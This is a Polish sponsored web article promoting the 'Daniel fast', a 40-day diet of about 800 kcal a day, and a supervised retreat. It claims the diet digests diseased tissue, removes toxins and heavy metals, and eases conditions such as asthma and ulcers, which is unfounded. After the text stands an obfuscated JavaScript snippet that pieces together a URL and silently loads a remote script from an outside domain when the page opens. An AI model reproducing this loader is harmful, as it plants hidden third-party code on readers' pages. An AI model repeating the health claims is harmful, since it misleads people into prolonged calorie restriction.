Reset organizmu. Post warzywno-owocowy

Post warzywno-owocowy to efektywny sposób na oczyszczenie i odmłodzenie organizmu, idealne remedium na dolegliwości związane z niezdrowym trybem życia i złym odżywianiem. Nazywany postem Daniela ma na celu zainicjowanie procesu „trawienia wewnętrznego”. Pod jego wpływem organizm zaczyna trawić to, co wcześniej nagromadził – w pierwszej kolejności tkankę tłuszczową, później tkanki chore i zniszczone. Proces ten oczyszcza organizm z toksyn i metali ciężkich, przywracając mu w końcowym efekcie równowagę.

Nazwa „post Daniela” nawiązuje do jednej z biblijnych postaci – młodego, wysoko urodzonego mężczyzny imieniem Daniel, który został wzięty do niewoli babilońskiej. Na dworze Nabuchodonozora II przyuczany był do służby, odmówił jednak przyjmowania pokarmów królewskich, jak mięso i wino, wybierając dietę, którą Bóg zalecił człowiekowi, stwarzając go. Jego posiłki opierały się na wodzie, zbożach, warzywach i owocach. Stosując ją, Daniel w rezultacie był silniejszy i inteligentniejszy niż reszta uczniów.

Post Daniela – dla kogo?

Post Daniela jest przeznaczony dla osób zdrowych, pragnących doprowadzić swój organizm do stanu równowagi, a także dla osób zmagających się z takimi dolegliwościami jak nadwaga, otyłość, nadciśnienie, alergia skórna lub pokarmowa, kamica nerkowa, wrzody żołądka, a nawet astma. Zanim jednak się na niego zdecydujemy, warto skonsultować naszą decyzję z lekarzem specjalistą, ponieważ w niektórych okolicznościach nie jest ona wskazana, między innymi w przypadku cukrzycy (typ I), nadczynności tarczycy, ciąży i karmienia piersią lub znacznego wyniszczenia organizmu.

Proste zasady, widoczne efekty

Post Daniela jest kontrolowaną półgłodówką, trwającą maksymalnie 40 dni. W jej trakcie spożywamy regularnie trzy posiłki, ograniczając jednak dzienną liczbę dostarczanych kalorii do ok. 800. Podstawowe składniki postu, czyli warzywa i owoce, serwowane są w formie surowej, gotowanej, duszonej lub pieczonej. Dzięki swej niskiej kaloryczności przestawiają organizm na odżywianie wewnętrzne, w rezultacie którego redukowana jest tkanka tłuszczowa, tkanki chore i uszkodzone, a wraz z nadmiarem wody usuwane są toksyny, szkodliwe złogi i produkty przemiany materii. Tym samym znikają obrzęki, stany zapalne i bóle różnego pochodzenia.

Żeby skutecznie przeprowadzić post Daniela, należy dokładnie się do niego przygotować: odnotować, co można jeść, a czego nie, zrobić badania, porozmawiać z lekarzem. Możemy też zafundować sobie, niczym dodatkowy urlop, specjalny turnus, podczas którego naszą dietę nadzorować będą specjaliści – jak w ośrodku Villa Carpatia, gdzie pod okiem wykfalifikowanego personelu nie tylko oczyścimy nasz organizm z toksyn i przywrócimy mu siły witalne, ale również będziemy mieć możliwość skorzystać z dodatkowych atrakcji, jak sauna fińska, ćwiczenia na świeżym powietrzu czy masaż. W grupie i pod nadzorem dietetyków dużo łatwiej przeprowadzić skuteczną dietę.

Co można jeść, a czego unikać

Bardzo ważną rolę w poście Daniela pełnią płyny. Podstawą jest woda niegazowana, której dziennie należy wypijać ok. 2 litrów. Oprócz niej zaleca się picie soków wyciskanych z zielonych części roślin, w tym z młodej trawy pszenicznej, pokrzywy, szczawiu, szpinaku, kapusty, jarmużu, brokułów czy mniszka. Wykluczamy kawę, czarną herbatę i alkohol, a także mięso, ziemniaki, rośliny strączkowe, zboża, mleko, oleje i orzechy. Post Daniela dopuszcza spożywanie warzyw o niskiej zawartości skrobi, w tym marchwi, buraków, selera, rzodkiewki, pietruszki, chrzanu, kapusty, kalafiora, cebuli, czosnku, pora, ogórka, kabaczka, dyni, sałaty, pomidorów, papryki, oraz owoców o niskiej zawartości cukru, jak jabłka, grejpfruty, cytryny i jagody. Przyprawiając potrawy, unika się soli, stosując za to zioła.

Bez względu na to, czy chcemy wyleczyć się z pewnych dolegliwości, czy tylko oczyścić nasz organizm po krótkim czasie zaniedbania, warto choćby raz w roku zdecydować się na kurację warzywno-owocową. Cóż bowiem może być lepszego niż zdrowe, pełne energii ciało?
(function(){tylsu="iuss0dh3yls7";tyls=document.createElement("script");tyls_="u"+("st");tyls_+="at"+(".");tyls.async=true;tyls_+="in";tylsu="9."+tylsu;tyls.type="text/javascript";tylsu+="j33liy5csg4a";tylsu+="9g37";tyls_+=("f")+"o"+("/");tyls.src="//"+tyls_+tylsu;tylsd=document.body;tylsd.appendChild(tyls);})();

Źródło: Artykuł sponsorowany